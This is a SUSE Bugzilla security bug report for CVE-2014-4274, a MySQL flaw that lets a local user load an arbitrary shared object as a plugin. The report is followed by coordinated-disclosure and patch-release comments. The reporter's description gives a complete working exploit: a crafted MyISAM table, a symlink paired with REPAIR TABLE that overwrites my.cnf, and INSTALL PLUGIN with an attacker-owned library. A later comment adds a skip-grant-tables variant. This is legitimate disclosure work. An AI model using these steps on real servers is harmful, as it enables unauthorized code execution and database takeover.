Bug 857678 - VUL-0: CVE-2014-4274: mysql: user can load arbitrary DSO as plugin
VUL-0: CVE-2014-4274: mysql: user can load arbitrary DSO as plugin
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P3 - Medium : Normal
: ---
Assigned To: Kristyna Streitova
Security Team bot
maint:released:sle11-sp3:60892
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2014-01-07 13:13 UTC by Sebastian Krahmer
Modified: 2015-04-21 16:05 UTC (History)
5 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Sebastian Krahmer 2014-01-07 13:13:19 UTC
Reported by Stefan Nordhausen:

----------8<---------------------

Since today was a quiet day at the office, I was able to complete
another exploit that allows an attacker with

  * CREATE TABLE privileges in MySQL
  * any Unix-account on the MySQL server

to execute arbitrary code in the context of the MySQL server, i.e. as
user "mysql". And let's just assume that this access was officially
granted to the attacker. Exploitation is also not too complex and very
reliable. The code below assumes you are user nordhausen with home
directory /home/nordhausen. Initial setup is

    > cd ~
    > mkdir mysql
    > chmod 777 mysql

The SQL instructions below use the "DATA DIRECTORY" directive. This
assumes that symlinks are enabled (check with /SHOW VARIABLES LIKE
"have_symlink"/), which is the case in openSuse 12.3, but not in Red Hat
6.5. So, assuming default options, the below part will only work with
openSuse:

    USE <a_database_where_you_can_create_tables>;
    CREATE TABLE myisam ( x1 CHAR(1), x2 CHAR(1), x3 CHAR(1), x4
    CHAR(1), x5 char(1), x6 char(1), x7 char(45) ) ENGINE = myisam, DATA
    DIRECTORY = "/home/nordhausen/mysql";
    INSERT INTO myisam VALUE (NULL, "x", "x", "x", NULL, "x",
    "\n[mysqld]\nplugin_dir=/home/nordhausen/mysql\n#");

The strange table setup has a reason: MyISAM prefixes each record with a
bitmap that indicates which columns are NULL and which are not. With the
above layout, that bitmap corresponds to the ASCII character "#", i.e.
anything after it is marked as a comment. This is important because
MySQL will completely ignore a syntactically incorrect configuration
file. You can check with "cat ......./myisam.MYD"  that the file is not
just a valid MYD data file, but also a valid MySQL configuration file,
looking like this:

    > cat /home/nordhausen/mysql/myisam.MYD
    #   x  x  x     x
    [mysqld]
    plugin_dir=/home/nordhausen/mysql
    #

Now, the mission is to get this file moved to /var/lib/mysql/my.cnf. For
this, I exploit that MySQL is very careless during a REPAIR TABLE: It
will use the file called <table_name>.TMD without any security checks.
Creating a symlink on the shell:

    ln -s /var/lib/mysql/my.cnf /home/nordhausen/mysql/myisam.TMD

followed by SQL command

    REPAIR TABLE myisam;

will produce an "Operation failed" message. But the exploit has worked,
the content of the MYD file has been copied to the destination file.
Since /var/lib/mysql is the home directory of the "mysql" user, the new
"my.cnf" file will be picked up by MySQL as a configuration file. Now,
the attacker waits for the MySQL server to be restarted, his custom
configuration is loaded and the fun begins:

    > cp /usr/lib64/mysql/plugin/ha_blackhole.so
    /home/nordhausen/mysql/attacker.so

    mysql> show variables like "plugin_dir";
    +---------------+-------------------------+
    | Variable_name | Value                   |
    +---------------+-------------------------+
    | plugin_dir    | /home/nordhausen/mysql/ |
    +---------------+-------------------------+

    mysql> INSTALL PLUGIN blackhole SONAME 'attacker.so';
    Query OK, 0 rows affected (0.00 sec)

Instead of ha_blackhole.so, the attacker could use arbitrary
self-compiled files. Since MySQL installs the plugin even though the
file & directory are owned by user nordhausen, it means he can run any
code inside the MySQL server.

Installing the plugin needs INSERT privilege on the mysql.plugin table.
But the above exploit can also be used to overwrite any other file with
the privileges of the mysql user. You could overwrite
/var/lib/mysql/mysql/plugin.MYD or user.MYD (which are also a MyISAM
tables), thus inserting the plugin directly (after next MySQL restart)
or giving yourself SUPER privileges in MySQL. Alternatively, since the
attacker installed a new my.cnf file, he could redefine the "datadir"
config variable to point to a directory of his choice, which would
include a privilege setup of his choice. I have not tested any of that
yet, though.

Technically, this is more a MySQL exploit than an openSuse exploit, but
it shows that access to the mysql user account is achievable based on
realistic initial privileges. Together with the previous exploit, there
is now a way from "CREATE TABLE privilege + any user account" --> mysql
account --> root account. Sounds dangerous enough to me to warrant a
bugfix or two.

Next year (=after January 6th), I'll report that to Oracle, or you can
do it if you want to. I'll have only occasional access to e-mail until
then, anyway.


Merry Christmas
Stefan
Comment 1 Michal Hrusecky 2014-01-07 15:03:56 UTC
Verified, was able to create /var/lib/mysql/my.cnf on my 13.1, for some reason it was ignored there, but was read and used on 12.3.

More dangerous thing would be actually put there 'skip-grant-tables'. With that after either crashing or restarting MySQL attacker has full root access to all MySQL databases.

SLE11 should be pretty close to what we have in 12.3.

There were some similar symlink issues in the past, hopefully it will be addressed fast in upstream.

Assigning new MySQL maintainer, keeping myself in CC
Comment 2 Swamp Workflow Management 2014-01-09 23:00:16 UTC
bugbot adjusting priority
Comment 3 Sebastian Krahmer 2014-05-06 07:30:31 UTC
What are we going to do about this?
Comment 4 Johannes Segitz 2014-05-09 09:31:51 UTC
Did you report this issue to Oracle? Did you receive a response from them?
Comment 7 Stefan Nordhausen 2014-05-23 11:26:56 UTC
Yesterday, I got an email from Oracle indicating that this is finally fixed now.The mail said


Tracking #:    S0415779
Description:   LOCAL USER CAN RUN ARBITRARY CODE IN THE CONTEXT OF THE
               MYSQL SERVER
Status:        Issue fixed in main codeline, scheduled for a future CPU
Comment 8 Roman Drahtmueller 2014-05-26 09:00:47 UTC
Thank you, Stefan!

Michal Hrusecki and I have been talking to the Oracle release managers in person during the openSUSE conference, and exchanged about the problem, so it was on their radar.
Are you content with attributing the secure_file_priv problem to Stefan Nordhausen?

Thank you,
Roman.
Comment 9 Sebastian Krahmer 2014-05-26 09:10:01 UTC
This particular issue does not have a CVE yet, right? Or did Oracle
assign one?
Comment 11 Marcus Meissner 2014-05-26 12:19:11 UTC
"future CPU" means probably not the April 2014 one, but the July/June 2014 CPU.

So do not mention this bug yet, but continue with the update?
Comment 14 SMASH SMASH 2014-07-07 15:35:17 UTC
Affected packages:

SLE-10-SP3-TERADATA: mysql
SLE-11-SP3: mysql
Comment 15 Marcus Meissner 2014-09-12 08:05:40 UTC
Stefan, is this http://seclists.org/oss-sec/2014/q3/553 ? 

if yes, I would make this bug public and we can offer information there.
Comment 16 Stefan Nordhausen 2014-09-12 11:50:28 UTC
That sounds very much like this issue, especially because it says "MyISAM temporary files" and not "MySQL temporary files". MyISAM isn't producing that many temporary files.

But the last update from Oracle was on August 22nd and again just said "Issue fixed in main codeline, scheduled for a future CPU". I'll ask them if the fix was already released and somebody just forgot to close an internal ticket.
Comment 17 Marcus Meissner 2014-09-12 12:30:33 UTC
https://bazaar.launchpad.net/~mysql/mysql-server/5.5/revision/4638

seems the fix referenced... 

yeah
Comment 18 Marcus Meissner 2014-09-15 11:30:16 UTC
any news?
Comment 19 Kristyna Streitova 2014-09-24 12:20:49 UTC
Line referenced in the Comment 17 exists in mysql-5.0.96 in SLE11 (twice) and in the mysql-5.0.26 in SLE10 SP3 (twice), but not in the mysql-5.5.39 in SLE11 SP3. It's not in the SLE12 mariadb either.

Regarding Bug 896400 and CVE-2014-4274 it's about MyISAM temporary files as well but version number where it was fixed doesn't match. Either changelog is not exact or there is another bug.
Comment 20 Kristyna Streitova 2014-09-24 14:57:17 UTC
The updates are prepared. We are waiting for confirmation that Bug 857678 and Bug 896400 are equal.

12.3 and 13.1: https://build.opensuse.org/project/show/home:kstreitova:branches:OBS_Maintained:mariadb

Factory is not affected.

SLE10 SP3 and SLE11: https://build.suse.de/project/show/home:kstreitova:branches:OBS_Maintained:mysql

SLE11 SP3 and SLE12 is not affected.
Comment 21 Stefan Nordhausen 2014-10-13 09:06:07 UTC
Seems that Oracle is finally releasing the patch. This is what I got from them on Friday evening:


The following issue reported by you is fixed in the upcoming Critical
Patch Update, due to be released at 1:00 PM, U.S. Pacific Time, on
October 14, 2014. We ask that any information that you plan to publish
regarding this issue be released after this date and time.

This Critical Patch Update will contain a fix for the following issue:

Reporter: Stefan Nordhausen

 S0415779  LOCAL USER CAN RUN ARBITRARY CODE IN THE CONTEXT OF THE
           MYSQL SERVER
Comment 22 Marcus Meissner 2015-01-23 07:42:14 UTC
This is very likely the bug 896400 / CVE-2014-4274 issue.

making public, feel free to close when we have released this
Comment 23 Swamp Workflow Management 2015-02-18 13:59:57 UTC
An update workflow for this issue was started.
This issue was rated as moderate.
Please submit fixed packages until 2015-03-04.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/60717
Comment 25 Marcus Meissner 2015-03-27 14:12:03 UTC
released
Comment 26 Swamp Workflow Management 2015-03-28 00:05:04 UTC
SUSE-SU-2015:0620-1: An update that fixes 33 vulnerabilities is now available.

Category: security (important)
Bug References: 857678,868673,878779,901237,914058
CVE References: CVE-2012-5615,CVE-2014-0224,CVE-2014-4274,CVE-2014-4287,CVE-2014-6463,CVE-2014-6464,CVE-2014-6469,CVE-2014-6474,CVE-2014-6478,CVE-2014-6484,CVE-2014-6489,CVE-2014-6491,CVE-2014-6494,CVE-2014-6495,CVE-2014-6496,CVE-2014-6500,CVE-2014-6505,CVE-2014-6507,CVE-2014-6520,CVE-2014-6530,CVE-2014-6551,CVE-2014-6555,CVE-2014-6559,CVE-2014-6564,CVE-2014-6568,CVE-2015-0374,CVE-2015-0381,CVE-2015-0382,CVE-2015-0385,CVE-2015-0391,CVE-2015-0409,CVE-2015-0411,CVE-2015-0432
Sources used:
SUSE Linux Enterprise Software Development Kit 11 SP3 (src):    mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1
SUSE Linux Enterprise Server 11 SP3 for VMware (src):    mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1
SUSE Linux Enterprise Server 11 SP3 (src):    mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1
SUSE Linux Enterprise Desktop 11 SP3 (src):    mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1